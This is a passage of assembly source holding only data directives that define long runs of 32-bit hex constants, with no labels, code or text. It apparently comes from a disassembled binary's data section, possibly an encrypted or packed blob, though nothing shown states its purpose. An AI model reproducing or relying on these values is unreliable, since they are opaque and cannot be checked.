		dd 89041568h, 96F2B75Dh, 0EACF70F7h, 0B5A1147Ch, 0B3A5B001h
		dd 0F9F14F5Ah, 0DE7630F7h, 89E02930h, 0C59F175Fh, 0A9A83F1Bh
		dd 707BE3BBh, 83BBE0C0h, 0B1DFE5DDh, 7EEF8834h,	0D541AA2Dh
		dd 8A2D04F7h, 16D7E04Eh, 4CF04641h, 95D9B63Ch, 2B49F4F7h
		dd 0C23E1CE7h, 0DCC5DCF4h, 0C6237741h, 5CACE924h, 0D2550F28h
		dd 9DCD907Eh, 865EB290h, 0AFE0C845h, 86355F1Eh,	94BA5E90h
		dd 0CE583E61h, 0E3FE8D1Eh, 258E36C9h, 0DA6022CDh, 214B4D35h
		dd 0F353D6A2h, 0DFDBEDFBh, 33D013FFh, 61843F25h, 0AC2DD812h
		dd 0C98F40C7h, 9B0BFCDFh, 211D2C66h, 8C3C5769h,	911A3A0Ch
		dd 0FBFBDE26h, 55581853h, 6FC39B83h, 55051B88h,	1D29E446h
		dd 90484BEEh, 0E4E97975h, 6140091Fh, 2DCD7EB9h,	6372BC9Fh
		dd 2F83BF2Eh, 0C91CA72Ah
		dd 38C59101h, 0F15A55C0h, 0AABF5FC6h, 0D9028BDAh, 0EDBCD475h
		dd 46AA28E1h, 9F040712h, 0D1331586h, 39A287FFh,	0F22787FFh
		dd 4D2CBE03h, 2C7B3E09h, 2AC6AA10h, 9EA101A3h, 4AEC0885h
		dd 794C1315h, 8F47F8BBh, 3672F89Eh, 12193519h, 0DDDD45D0h
		dd 22939840h, 68A8C4D0h, 9DE0A773h, 0B9ED4516h,	135C054Dh
		dd 0D96761Dh, 605A6E53h, 0EB89A3EAh, 3F268B93h,	24BDA0E4h
		dd 5AF3A7E2h, 0BD0589FDh, 0D748AA2Dh, 6811AE6Dh, 0D73AD1B6h
		dd 0F81162ACh, 0BB9C6A85h, 433F77E2h, 0FD65FA10h, 8B1095F8h
		dd 5A576272h, 5FE16740h, 4B62A253h, 0AFE18B82h,	273FFF58h
		dd 475EE149h, 3A30C360h, 0CE4BECC1h, 0BE6AC611h, 6DAB3594h
		dd 88758330h, 0B6F04EFDh, 455859C4h, 0A8B3A123h, 0FE984A5Eh
		dd 0C5B48ECDh, 1F9950CFh, 467EB8FDh, 17BD711Ch,	0C1E6676Fh
		dd 2DA4EC8Bh, 1C7A4932h, 0FD3B91D4h, 0BAA0B355h, 2EABF709h
		dd 0FC3118EFh, 9413158Ch, 0D75F8B79h, 582019CEh, 0E8D234F7h
		dd 1A76D81Ch, 0E2C514C7h, 1BAFF502h, 4DF7427Dh,	0EAA1E90Eh
		dd 338F3C9Dh, 2B1DFE21h, 65708F52h, 0B226A731h,	698F6970h
		dd 50C3642Fh, 2149388Fh, 0C4112AA1h, 0C77DEE9h,	1C8900E0h
		dd 0ADCD990Fh, 57449E30h, 88E30F12h, 0E071813h,	0D006B730h
		dd 3D4BA62Dh, 0B85F15DEh, 0C5E6AE7Ah, 0C412E8ECh, 0D5D95275h
		dd 0B7A51A11h, 3BEFAC15h, 0B1E834DCh, 8D1119E8h, 0D0E0781h
		dd 7923F68Dh, 0BA7AAF4Ch, 0F19980A9h, 0C73B14E6h, 37A8E483h
		dd 629D95C7h, 6A78E838h, 0B5EA157Dh, 28E80195h,	351B9613h
		dd 12402195h, 0F5FA2487h, 99586ABBh, 0E9DE5568h, 9FC4731h
		dd 0F5FC9EDAh, 0AF98A3FCh, 59681295h, 85B083CAh, 36EA191Ah
		dd 2A1EABDFh, 339F85B5h, 5426DD91h, 0C560CD69h,	2DC1AE4Fh
		dd 87B837CEh, 4C1747EDh, 52CEED7Dh, 58FD7B9Ah, 0AB7AD776h
		dd 9BF0675Bh, 55A28F09h, 7C78BD55h, 5B4B2198h, 0D7B9D09Dh
		dd 0FD59B78h, 8AC607BDh, 0F6BEB56Bh, 0C26AACB9h, 542AB676h
		dd 0F4F3E05Fh, 3DBF3920h, 7363B6C5h, 49DABB1Fh,	9E7AE5DCh
		dd 75D66A9Ah, 0C482D65Ah, 5553155h, 5A7032CAh, 3721F574h
		dd 8F93145Ah, 2482215Ah, 0A75570BEh, 8B2B2E6Fh,	378A9C55h
		dd 0C4A24E85h, 1218BEA3h, 45A43B60h, 49496C9Fh,	0FB0933B5h
		dd 3F6BDA49h, 3210C993h, 8C9AF8D0h, 420BBE79h, 0F6C32AADh
		dd 59EB644Eh, 9BA01713h, 664BDF1Eh, 589DBD58h, 6F534508h
		dd 0E88F4CBAh, 9F18ACFBh, 0B15177E3h, 0D1586829h, 172CEC5Ah
		dd 0CDAE2BC8h, 0E63B916Eh, 55C68098h, 0AB3A9B40h, 7DDFA4A0h
		dd 0CB4AE613h, 9F1CE7FBh, 0BFD756A1h, 55AA8CCDh, 0B1C8F6ACh
		dd 0A1B5CECEh, 0B43888E4h, 3C504D3Ah, 0F142D625h, 96F8F581h
		dd 0C7693119h, 4325914Ch, 9722580Eh, 0D71AA64Fh, 886D4E14h
		dd 0B6A2AC87h, 2C4E518h, 248131Eh, 0C5FEA003h, 45BD0E39h
		dd 3F5403CDh, 95989220h, 7515ECBFh, 69D560DDh, 492D6081h
		dd 4C568C67h, 0B6433668h, 8510CFDFh, 56DFAFC8h,	0E5BFA522h
		dd 3522E988h, 0E8041F8Ch, 18261869h, 95BDAC92h,	0BCD4E064h
		dd 49D9E66Ch, 0B47AE919h, 0C72A6E97h, 524C4B91h, 886BB24Fh
		dd 2C9F3AEh, 0CC240F03h, 0C3D42917h, 0F94D59EAh, 22EC7D66h
		dd 0C734D21Fh, 0D458E3BDh, 0F9BF1883h, 0CAB54D41h, 40EDAE11h
		dd 2E1009F2h, 43123C0Ah, 600EC6A8h, 86D7F480h, 0E467A0E2h
		dd 1BEDEC1Ah, 0B27AE564h, 0B0DD575Eh, 0B8E76083h, 0EE2E8994h
		dd 0D92FD875h, 0BB44C074h, 3CAC5CDDh, 0A2ABFC35h, 0B44836DAh
		dd 2703E952h, 2523CC3Fh, 36F379CFh, 164908B2h, 0AFC670F2h
		dd 0C2D6FC9Dh, 0B1A7A791h, 0B88CDEE2h, 0D40EB7A2h, 636FD137h
		dd 95B82221h, 36087379h, 8F33A7C1h, 0B80F0F9Ah,	0E884C5F7h
		dd 0F5EAC44Dh, 0CA83EC9Ah, 374B1B73h, 2F890B26h, 0FABEDB0Fh
		dd 0B029839h, 0C5063496h, 7C3AEF87h, 0BE54F83Fh, 457AF0B8h
		dd 2D5EDDE3h, 25C802B2h, 0BEF8AD59h, 3FB2BAF7h,	9B0591BFh
		dd 31172602h, 4CF0727Ch, 0A3E1B1C5h, 52031CF7h,	73AB1B50h
		dd 0AECE9354h, 6F95B89Bh, 13E0A0C1h, 595B674Eh,	0BC35672Ch
		dd 0BC232454h, 7AE0D91Fh, 7F005169h, 0C2E09098h, 0E9C1441h
		dd 440B9D26h, 72F3EBDAh, 575B3E4Bh, 8A81671Bh, 0DE80C9D7h
		dd 8ECC5DAFh, 70EDA7D1h, 70D825CDh, 0D116F660h,	0F7541177h
		dd 2C3EA1AEh, 1984EED8h, 15AC5575h, 5FC2DA77h, 8634D08Bh
		dd 397E391Eh, 59B1CAB1h, 69F8A322h, 38AC8133h, 414D52FDh
		dd 58ECEC70h, 0B74FA11Bh, 483F7DE7h, 2ACFDCDEh,	0B1D37CC4h
		dd 0B73C2E56h, 9AD83359h, 2890B266h, 44C1212h, 976410FDh
		dd 0BEBDDB81h, 142F59DEh, 0DF222140h, 4C43636Fh, 668CE4E9h
		dd 0F89251Fh, 9343C5B1h, 7BD067D2h, 93135A40h, 0F5588B27h
		dd 920B0E78h, 0B905A60Ch, 9550C26Ch, 9677F97Bh,	0D85DF3E9h
		dd 42DEB5E2h, 0FEF76B36h, 7AA265BFh, 0A279F097h, 570C6158h
		dd 13E7AA71h, 0B20AF71Fh, 0BBA5481Dh, 5D12BBDAh, 0A999FB09h
		dd 3596E910h, 0DA28565Bh, 0BF18AFBCh, 0B6124579h, 4E1F8D1Ah
		dd 81B3D342h, 0F7417181h, 0CE7C779Eh, 3A19819Ah, 0DC2B698Ah
		dd 820F699h, 76537EB2h,	0B90ED0A7h, 0EDB62521h,	67EDD0D7h
		dd 829E001Eh, 0E0EB092Dh, 0E5C5D0F5h, 0F9747FCFh, 9540D0CEh
		dd 15D48638h, 0F59813DFh, 58E5FC94h, 0A24AE5D7h, 9B9FB7ACh
		dd 0FFA7D871h, 0B24F29DFh, 0D529F130h, 0DBBBD72Bh, 775A871Fh
		dd 0A930C231h, 4ACCCE1Ah, 50506816h, 79F12C66h,	0EE3FE95Bh
		dd 0A284DD32h, 6850CE05h, 736B1CCBh, 29FDAA3Ch,	8B463238h
		dd 399A393Ah, 0EAFBE97Ch, 0B1FEB3A4h, 9478185Ah, 2E3767B6h
		dd 140AC2D5h, 0CADF590Bh, 841A63A5h, 335FB75h, 14D0ADF1h
		dd 7195AF1Bh, 0D09BA652h, 1A546A98h, 62D13EB8h,	0DC35FBD2h
		dd 0C8226DEh, 7EAB8B01h, 0AA526719h, 97BAD90Ah,	0EE188C0Eh
		dd 873EE355h, 0AD45C461h, 578FAAD2h, 0B3F1265Ah, 0C04BCB8h
		dd 5A3D94DBh, 3690F67h,	0A6FF966h, 95FAE9CCh, 93BDF22h
		dd 0FFC5E046h, 0B7CD22F6h, 0BD40C066h, 84246FE2h, 6ED2E415h
		dd 22924A5Fh, 8E0B0C08h, 38F71EBBh, 0C5F92389h,	5942B8F9h
		dd 0C8C1C41Ah, 0B25FEF3Fh, 0C21152C5h, 0EFF835CEh, 0E8D3B07Bh
		dd 0AB0AF0C4h, 0D00FB02h, 0D8081943h, 0D9468376h, 9B1A8911h
		dd 0C55B05F9h, 85208BBCh, 0F099F5F1h, 0A6139E09h, 8EB01059h
		dd 0F558D024h, 0A10EDC5Ch, 5E360698h, 0A8DAE82Ch, 4C893C52h
		dd 37D3E59Ch, 8BB17430h, 872D2278h, 0ED087925h,	93260D44h
		dd 82BC2F4Ch, 0F5E3042Eh, 0E5C4E2E3h, 77114C36h, 0C07E385h
		dd 34308225h, 0E2EBE80Fh, 4AAB38Ch, 86CEF1D1h, 9DE4F17h
		dd 0FC84928Eh, 0CC2CF138h, 0C29977F8h, 773523D9h, 0EBCBFBE3h
		dd 1C7FA288h, 302337A2h, 3E03E3A6h, 0EEDD1D64h,	0A37D0138h
		dd 70DDAF58h, 0C00587A3h, 0A29CA01Fh, 3EE8ACA3h, 592638FFh
		dd 0B193AB21h, 0CD21201Fh, 6450F2CFh, 0F883CF4Ch, 0FEBD93F8h
		dd 0D6B7A463h, 7B010F0Eh, 4CB9B320h, 2732D4C6h,	0A26167D7h
		dd 3117EF8Ch, 0CA6C7E32h, 5A2685C4h, 0CA58C4DAh, 8AA5E636h
		dd 0E93B5665h, 8BE1C765h, 0C9CE672Dh, 594DD611h, 0E2A90930h
		dd 0F3ACEB12h, 0B8511F06h, 135A8294h, 5979660Bh, 5FBF0E4Bh
		dd 43029B17h, 38CDA87Ah, 0B31C78E2h, 0B0189A4Bh, 0D44273B2h
		dd 96A5E4EDh, 78625969h, 28CD9327h, 4F557977h, 3BE10230h
		dd 0E9E2F6D8h, 0BC7AE458h
		dd 0C481509Bh, 0EE51475h, 0B02A5D32h, 17B2C050h, 0A3ACDA9Fh
		dd 13A936h, 0B33EC27Eh,	0B81D6DE5h, 90DA310Ah, 9D1799A0h
		dd 5ED298BFh, 484CE0A7h, 442CD1C2h, 0CF8A18FCh,	0C626D819h
		dd 22428B8Eh, 0F8E6AFFBh, 0AB77B385h, 576F6BA3h, 2A2FA831h
		dd 7FADAE13h, 15DD90Eh,	882A26D6h, 75C0035Dh, 2DDFD62Fh
		dd 7F3DCAADh, 4A2B2405h, 3258541Bh, 37F667Bh, 6EC6AE3Bh
		dd 9AD820C2h, 9FA02B54h, 0EB51111Dh, 96FB8AC8h,	62A61CCDh
		dd 0CE230150h, 13751315h, 58261FA5h, 5822CED9h,	0B8EE4FEDh
		dd 92E0F833h, 4D51CB49h, 0D12D634Ch, 90C95C34h,	0C2521D75h
		dd 96729D04h, 4CFC26C6h, 0CD958E33h, 0CFF36625h, 2D135F52h
		dd 4C69E920h, 16115619h, 926AC5D6h, 8FE48E06h, 0C788EDDEh
		dd 1680C092h, 0C084290Bh, 0D7E30B31h, 0B70968DCh, 22CA211Eh
		dd 96E65D8Eh, 0FB17E26Dh, 42368D62h, 150FF6C4h,	0A94ACADDh
		dd 0C012CEFAh, 3D9C2315h, 7D7E8EC5h, 0CB47FB29h, 8040C3BEh
		dd 0CA55C61Ah, 0B9E3E403h, 8421ABA5h, 0D0E8BF75h, 5294B319h
		dd 0B5852F0Dh, 0F949F961h, 5F2A86A5h, 0E6F4571Dh, 6A85E52Ah
		dd 897CEC44h, 0DE09576Eh, 5BA273ADh, 24CAD808h,	0ADE1103Fh
		dd 0E71E89C1h, 76DA509h, 303F431Ah, 0F29AFB15h,	0A5055B94h
		dd 71DF0F0Dh, 0E723E568h, 231997E5h, 0E5AD77BFh, 0FED27A96h
		dd 0F8A2B88Dh, 8E3D38CDh, 0EE15BFAh, 0EDEA05D0h, 5F3B648Ah
		dd 96051031h, 0B32682B1h, 0C07C17DCh, 144C38EDh, 3695BB2Ch
		dd 0CE6109A3h, 0EB9DFD56h, 6B40E552h, 765FF529h, 5E5F650Dh
		dd 0D26B86A9h, 17621C40h, 0AF701324h, 845FCF0Ah, 63E590Ah
		dd 31A2F7Ah, 92FA264Bh,	41521E2Dh, 1EECC799h, 0D756384Ah
		dd 22D41CCh, 0E79BE46Fh, 49A590Eh, 3B4B9F72h, 2D982A2Eh
		dd 0ABF92B04h, 0C25FB0FCh, 0FAB56374h, 0F5C13622h, 146F99C2h
		dd 2B01E177h, 0CA71E61Ch, 0EA68A692h, 0F7340992h, 0F075EF65h
		dd 8F821E35h, 0AE630322h, 9A560840h, 2282EA6Ah,	4241E617h
		dd 94481DCFh, 96B2B0A5h, 0DCB522A1h, 0E201C7D9h, 0A8551E3Dh
		dd 230690A8h, 670A9C90h, 0D8D6FB12h, 2691E665h,	5D72E0A3h
		dd 0EFC1DEEh, 0F343C2Eh, 9295F22h, 215FC0DAh, 0EC505DCDh
		dd 8EDBC74Bh, 0EB2EE04Ch, 49D6D211h, 0AAAE62h, 0C5FCCD6h
		dd 0D49C3911h, 0E61CEE17h, 552318B5h, 483FE91Ch, 9E105D8Bh
		dd 7950501Dh, 2B55DCCBh, 2C4072ABh, 4C9FDF64h, 79B4B3D9h
		dd 3B320DFh, 38AC37C1h,	0FE9550A3h, 8DD16865h, 2411D2F4h
		dd 0C67A730Fh, 0D3FC1E11h, 0D2E0EAFh, 963C136Fh, 42905A1Dh
		dd 1508987Ah, 0C25AECC9h, 4FEC169Dh, 59FFD05h, 89995DDFh
		dd 91FF539h, 4153B5BCh,	0C55EE22Fh, 0C21FDEFh, 54195DD1h
		dd 10107312h, 0F4D9B45Ah, 70117F4Dh, 9475A841h,	0B0E5134Eh
		dd 6EF6CA3h, 0E5E523A3h, 75B4AAAEh, 0C530187Fh,	0FD1E859Dh
		dd 2A11A15h, 85FD2055h,	7B5D5FDDh, 0EB5468FCh, 0BA261D19h
		dd 0AB296BEh, 43A02B7Ah, 45987337h, 33C1FBD9h, 8AA35BCCh
		dd 0C7597A84h, 0EB2AEF8Ch, 0E99A31DCh, 1442BCE3h, 0BA9FE63Ch
		dd 0C8101DE5h, 0D4BB61EDh, 8C8E192Ch, 4FE10272h, 34072CABh
		dd 0B5E25A3Fh, 0AF101BEEh, 0C332EC7Dh, 0DB75C745h, 0E8F0E80Ch
		dd 62E40B23h, 0CA360B1Fh, 0A9AC2508h, 0F4886058h, 8875B875h
		dd 9567D95Eh, 4C92FABEh, 0D42A2394h, 4993A314h,	41A944Ah
		dd 11E91049h, 0B7E8A022h, 0F599FADFh, 0CA24D01Fh, 0DE67E4B1h
		dd 0CB83711h, 4C36E465h, 6C167125h, 2C8B5A1Eh, 0CA2E9F2Fh
		dd 2969D911h, 0D3DD3304h, 8A58C124h, 0C622B301h, 0F2D92B32h
		dd 0A3C81C1Dh, 44906C4Fh, 0AD43FF77h, 0C69C26ABh, 0CB99ECDEh
		dd 8961E815h, 9C59181Ah, 0BD9DEF4Ah, 6FE1377Ch,	0ECD1F699h
		dd 459C7F6Bh, 5424F11Fh, 459BE6BDh, 0B2A09E2Dh,	0AAC231D0h
		dd 195FC463h, 0E2E7AEDh, 7C7A0C06h, 1BBCFF97h, 43C32937h
		dd 36A520D0h, 641160ACh, 7CF074h, 95DEFF6Ch, 0C0D01C26h
		dd 72E685Ch, 0AF476E06h, 0F0EEDF91h, 3F6110ABh,	10B1CA0Ah
		dd 0FE6FD867h, 73BE78Ch, 0EE3D5BCFh, 4BA8A6A1h,	0D96DE38Ah
		dd 0D42F5B9Ch, 0F5821913h, 4BF0604Ah, 33FFA78Eh, 37A48A38h
		dd 6F6D1DC1h, 0F9459EA2h, 7BFEDBE7h, 0E3987A8Bh, 6AF5762h
		dd 4FD36D3Ah, 2D9AA0CFh, 2A791B8Fh, 0CF37EFB4h,	461F045h
		dd 0E9E921A5h, 0BC183833h, 7517B3Fh, 0D1427D05h, 469FE34h
		dd 7D5850C0h, 89B578A1h, 364AC800h, 0FDDD7AB5h,	0A75F2817h
		dd 0C41D5BEAh, 6632E315h, 7DBC598Fh, 0AC375A62h, 81A16E9Ch
		dd 0E37666BEh, 680BFCB9h, 35AEC694h, 9B24F5A9h,	8144AC62h
		dd 0C24F2F5Fh, 0CF48D7CFh, 86113783h, 0B65D2521h, 0CA620716h
		dd 0DC0CD65h, 1D125D1h,	0CD58D2D5h, 4EC00A8Ch, 0FCD88095h
		dd 0F27D318h, 3BC6E49h,	0D5EEF144h, 0E9F1FF12h,	0F5C283A0h
		dd 90228297h, 9420E5F2h, 70E173Dh, 0EADCE7C9h, 0CD85F0DDh
		dd 290AE519h, 959ACC41h, 91792515h, 0F72F4E87h,	0DC0E220Eh
		dd 6B06C6CFh, 1778DD15h, 55796CA9h, 0E8403E2Dh,	3D0E04D4h
		dd 9DE471B3h, 6B91C3Ah,	6422A563h, 2BD2D0A2h, 9542DE8Fh
		dd 0A40E2DCEh, 1462A85Ch, 12E7B04Ch, 4B22187Bh,	3D22EEA1h
		dd 70FFCA0h, 2E330220h,	411E112Dh, 11C2C7B1h, 535242h
		dd 0CE4588ACh, 0C94BF696h, 0C0651741h, 9DD55121h, 0EDB7924Bh
		dd 5DD0139Dh, 8DA3196Ah, 78487407h, 0EE06F105h,	0EE489F31h
		dd 273B06ACh, 6D7FDF7Dh, 36ECBBBBh, 48AFDC9Ah, 3943C11Dh
		dd 1509E095h, 9FB92728h, 5D78AD1Ah, 0F15D9939h,	0AA5E992Eh
		dd 0C4799CCDh, 7A5F4EB9h, 3962C81Dh, 8B90BECCh,	0FA223EF9h
		dd 7AB856h, 81731BF4h, 7C7C21CCh, 0F9593A66h, 235DE58Ch
		dd 7348B84Fh, 0BDB0BF9Ch, 29A361DAh, 0C630F1AFh, 90658F13h
		dd 281A5BD0h, 0A89FF124h, 4C9D44DBh, 2C7D606Eh,	0E1DC5EF7h
		dd 9861F2ACh, 8167E675h, 0CDD07877h, 0DA39FEC9h, 4A370794h
		dd 54A01B15h, 5CA874Ah,	0C64ED86Eh, 95F0DD29h, 0E3526A0Fh
		dd 0F5ADDDDFh, 8E58DB1Bh, 5ED889Ah, 0EDAB19BFh,	7A3E798Fh
		dd 0D421EFB6h, 94F55B12h, 81573F5Dh, 9CDAC0A4h,	0D1AFFEADh
		dd 228B39DDh, 67AD5B8Eh, 0B56E658Fh, 6C68CDABh,	0B22A4A6h
		dd 0A91EB5E4h, 34495876h, 0ED9D762Eh, 0C1656ECCh, 552C1892h
		dd 4DC0F217h, 27300C80h, 0EB21E002h, 0B0313D12h, 48DEB409h
		dd 26493ED1h, 89B7D48Fh, 5021A1C1h, 270081B5h, 73593D05h
		dd 3622A87Ch, 0D010C46Bh, 0CC1BEB2Dh, 0F9D0CC55h, 0C4BF1FCEh
		dd 90231F1Ch, 0C4B1A0C9h, 9BE4191Ch, 0CD47086Dh, 0C6050FA6h
		dd 89EF928Fh, 0DD99067Ah, 9B7FD6Ah, 240DDFD5h, 0F85953C7h
		dd 0FA24E68Ch, 59B5D0F7h, 0E1B3AE6Ch, 3E6F562Dh, 0C5129D37h
		dd 0BABD6412h, 6C5A8312h, 44DA7E76h, 46D39A5Eh,	83EE8A13h
		dd 917A990Eh, 4999CD7h,	3926B2AFh, 49F5414Fh, 62216411h
		dd 0BD24B185h, 287AF895h, 458C960Eh, 4DCCB432h,	0D5E3B1FFh
		dd 37506183h, 0C6C83154h, 0CD148A92h, 5D0F33D9h, 40BD1082h
		dd 0F0071FCFh, 5420667Fh, 85DA1C4Ch, 0D1E0384Dh, 0CDC9C1BDh
		dd 335AE0D8h, 7E51FF2Ch, 4B50EF25h, 0D46750D1h,	3F171B19h
		dd 6DD32CFFh, 4DE206DDh, 212F9B03h, 5E88DFFBh, 16EBAE68h
		dd 40D15603h, 0DD071ECCh, 0C7998F3Eh, 0D4F9665Fh, 0CD8E0686h
		dd 5FF055D1h, 0E898E63Ah, 0F6C167Ah, 87D9E42Dh,	0C1A51F01h
		dd 5B65D60Ah, 9004BB58h
		dd 35BB7053h, 0FACB0B1Eh, 0E2E98046h, 0FA396655h, 965F230Ch
		dd 0B74B8BD3h, 0B5B5894Eh, 580DB128h, 0B6D8BA2Bh, 0DE6AA9DEh
		dd 21566B5Ch, 60606F0Fh, 0C1BDBB1Dh, 0FBF6B9FAh, 1E2148E2h
		dd 0AD53E7F7h, 28F2207Dh, 0CCC759CDh, 866B87E2h, 0DD07EC6Ch
		dd 0E936D228h, 0FF7E140Ah, 3CF552A7h, 0F81E12A8h, 0C6B50255h
		dd 0D195FC15h, 0E9387482h, 6A1D56ABh, 92111CEAh, 9F7A1DA1h
		dd 733F4A2Dh, 0CDE7E3DEh, 0C902FCD9h, 8DB938DFh, 0D47EF4D4h
		dd 4C95522Ch, 0B70F5B2Ah, 0B0EF57F1h, 0B436FFD4h, 44724A5Ah
		dd 2207CD28h, 95B70C41h, 354A45A8h, 4761EB1Dh, 0AB301459h
		dd 0E5DEF18Ch, 3B42FCB9h, 6FB11330h, 0C3D48DE3h, 0EE7A1CD2h
		dd 0C8CA43A5h, 0CE0F20Ah, 0A5291D74h, 97D29208h, 0B3C282ABh
		dd 0E9BB6215h, 0A9A0C675h, 0F5AF4A07h, 98CAC0Ch, 0F3F9E7Bh
		dd 0ADEC7889h, 0D4332D95h, 0FF06F396h, 0DDF2F778h, 6FEE4236h
		dd 80159EADh, 0C8E89B59h, 22A552B1h, 9E3255DFh,	4B9D1537h
		dd 0C8A55530h, 559CBCE9h, 2E51DF71h, 0C93D4894h, 2C06A6C0h
		dd 9389D234h, 1DCFA2EFh, 3119E115h, 0AC1B0BFEh,	97D1FCBAh
		dd 0FDD177E3h, 42499EA6h, 0B8E01CDBh, 0B8EF07DFh, 0F9D6DE2Ah
		dd 0E8B35490h, 4B745D0Bh, 2B60898Dh, 41695234h,	7CAE7F99h
		dd 7961E848h, 8A933C5Ch, 498E4367h, 0D84718CBh,	2B898297h
		dd 91CC22EEh, 285542C4h, 751C0C8Bh, 0ED3B6490h,	813AF051h
		dd 2DF9D2ADh, 0FC8A292Dh, 0A6AE6197h, 0E2DA33DDh, 9C702AB5h
		dd 8050CD46h, 0F82F3406h, 6C489034h, 0C68D9B91h, 6CCC69ADh
		dd 4DF1EFC0h, 423D55C6h, 81707C3Fh, 0CA3ACBF8h,	0DF4F41C8h
		dd 8D5374CCh, 0A9E1C0FEh, 8E1AEBDDh, 0B716BCCDh, 0F4ED602Ch
		dd 6C196E31h, 9C280659h, 6104AF23h, 6B496D6Bh, 9204FDB8h
		dd 0D36ED5E2h, 2AA62977h, 0F11DC28Bh, 0EF3EC8EDh, 6E37B1DCh
		dd 0C74E9F1Dh, 0BEE2AF0Fh, 62B91DF5h, 0D61D1DA7h, 2D0C9BBAh
		dd 2A2773B4h, 0BA24DD32h, 8FDEE10Bh, 0F9D5AC2Ah, 0C5C179C6h
		dd 24215879h, 0F2490FE0h, 3E38A624h, 74A4BDD8h,	4F8E8FAFh
		dd 5537C642h, 563E8E52h, 0BA37E747h, 6DC495D8h,	4D5AB296h
		dd 85DAA912h, 10DB35A9h, 62AC4C8Fh, 0F68CC34Fh,	0AD886295h
		dd 0EABA8EEAh, 931B1CE1h, 54036405h, 0F92B2ED7h, 0EBC923B2h
		dd 0ECFABEB4h, 0C592C1BEh, 5C75128Ch, 4222544Ch, 95BA1437h
		dd 64BBBCFAh, 877DFFD0h, 93D7F503h, 8200476Ah, 36E55F3Dh
		dd 49F6C4E5h, 0DD432B02h, 0D4B20DAh, 764F700Fh,	9D79C2F5h
		dd 0A0E125DEh, 0C9FA9843h, 69D21FD5h, 847920D1h, 6EF6BEF5h
		dd 13DF0096h, 88746719h, 0AA2DD2EEh, 296FE4D3h,	59D2F4D5h
		dd 1AEBB8F8h, 0A9F8E7F7h, 78A7A2D8h, 85EE2B54h,	0D1FA94ADh
		dd 0AC9267E7h, 7A09AEE6h, 7BD1CAD1h, 35897581h,	95E72EC2h
		dd 1C8D163Fh, 354FF126h, 4DD8911Ah, 0EA17CD9Ch,	5F19D09Dh
		dd 0B921B3D1h, 0FE2A1445h, 9730C3DAh, 3D581816h, 607E58F9h
		dd 64806C5Ah, 442AEC77h, 0F02EAF94h, 63D8492Eh,	0B9E6DD13h
		dd 84269C94h, 849AA0CFh, 79D54949h, 4C82FF91h, 75C9622Dh
		dd 0A769E29Eh, 86099D0Fh, 40E6F527h, 84DEDCAFh,	430D1C90h
		dd 0C0EEBEA1h, 8D025A45h, 21241ED6h, 42D81EBEh,	4B1CD0F1h
		dd 768BA289h, 0C5EE990Ah, 0EFD4FDFh, 0D9F6DE3Bh, 0C8813D89h
		dd 43DA9C74h, 0E90093D2h, 4D294AA3h, 0E8A54F9Bh, 644B1FF1h
		dd 0D99FD236h, 4C79E194h, 80B15608h, 0EAF4F8Dh,	8E0508D5h
		dd 29CD7BF4h, 0E85C950h, 6551E160h, 2360A6D1h, 50C351AFh
		dd 55E1FB1Ch, 0F251E5D3h, 0C5CEFA59h, 0E779977Bh, 10F36801h
		dd 592E84h, 24E557CDh, 0D47A1D15h, 0B8DB7DB5h, 0AD1AB273h
		dd 4D4EE11Eh, 947646C9h, 3A7AC5BFh, 181AD441h, 0B1A4271Fh
		dd 3E1F532Ch, 43B6EB95h, 0CD715A2Ch, 41E3DCE9h,	30C4F647h
		dd 0DA2FA998h, 0BB9E942Fh, 0CC8F52DDh, 0F411469Fh, 8AF30558h
		dd 8598E970h, 4610D4BCh, 0E2AE60D5h, 0E1214245h, 0A4BF169Fh
		dd 818C626Ch, 9B9765B3h, 0D8B5EAFDh, 35C7FE41h,	0E75C332Ah
		dd 0E0F310C2h, 50AC10Fh, 432AE11Ah, 9704BC08h, 199FEA4Bh
		dd 0EE093B93h, 1B68E0CFh, 5DE21C95h, 0BB034ABDh, 6140CFB1h
		dd 0F1D93BF5h, 97573BFEh, 21D1995Dh, 14F72704h,	2DCD9887h
		dd 427584EFh, 0D57CBDB1h, 80A5A12Ah, 60F53883h,	5A5AD646h
		dd 272EBB0Fh, 0ADB6F0FCh, 1DEADF31h, 92BA6397h,	2A435527h
		dd 0EB7FA3F7h, 0CA56C65h, 83E17C54h, 0E127DE34h, 133475F7h
		dd 0D519C509h, 0AA4577EEh, 563E66F5h, 0CB9AF0DCh, 0C1496612h
		dd 1EEBE50Fh, 3DE9AF61h, 56544EC3h, 522C8C28h, 8F740746h
		dd 0CF66FF5Ah, 620EC9ACh, 34343807h, 0DF281226h, 0F78181DEh
		dd 0AB021AAEh, 15A12F3Eh, 0AACF8A97h, 0FEF1BAC6h, 587BEDBh
		dd 8794E150h, 0A36FBCD3h, 880FF65Dh, 76D6E2EDh,	0CB5D310Bh
		dd 2B50A116h, 40C31F83h, 248ADDD5h, 0CA5F547Dh,	344BCEC1h
		dd 0C80A6A70h, 6C638CD3h, 4E501ED8h, 6E861C99h,	0DD82D04Ch
		dd 874492C9h, 62981190h, 94F9A2CFh, 0E03C7138h,	0DE090031h
		dd 6043E0CFh, 4DA4671Eh, 0D0AA6C09h, 6440C523h,	45CE14CFh
		dd 58E7E6F0h, 667E65B6h, 97EA34D4h, 6037FC46h, 962A044h
		dd 222F5187h, 821A6799h, 16A44B99h, 0E878C2B6h,	9B990732h
		dd 0A8254B09h, 9B27C40Eh, 0A831577Bh, 0E18D5D29h, 0CC7E7EDBh
		dd 812B93Dh, 1BD37221h,	0C5705449h, 84AA3DF4h, 320E59FBh
		dd 0BF3DAF2Ch, 0F619FE31h, 9E05C3DCh, 11CF929h,	55A3D5B1h
		dd 0EB9CD329h, 0ADE1F730h, 0DC3F7839h, 21A11D75h, 0E38F898h
		dd 65FD2088h, 7FF8888Bh, 1732223Ch, 23A12151h, 68C2CDEh
		dd 0D5E8433Dh, 0E5C9B12Ch, 37AB1A15h, 855D44AEh, 8B93E92Dh
		dd 77AD92BDh, 60CFFE3Fh, 97868CEFh, 70B9032Ch, 642BEF16h
		dd 940E9939h, 50EB40F9h, 0EE5A1F84h, 997743D7h,	2486F81Ch
		dd 3B2678AEh, 824240AFh, 37A28F73h, 48EAE25Ch, 70B4C537h
		dd 896FF900h, 2BE7B7A4h, 3A014361h, 793164B5h, 0F09E6C09h
		dd 0CE4B55A1h, 0D4F8F915h, 6FD9A9A8h, 8E9E9C1Fh, 6EBC391Ah
		dd 4D340C7Eh, 6EAACBB1h, 0CAEDFD21h, 7CA13910h,	0BBC5DC3Ch
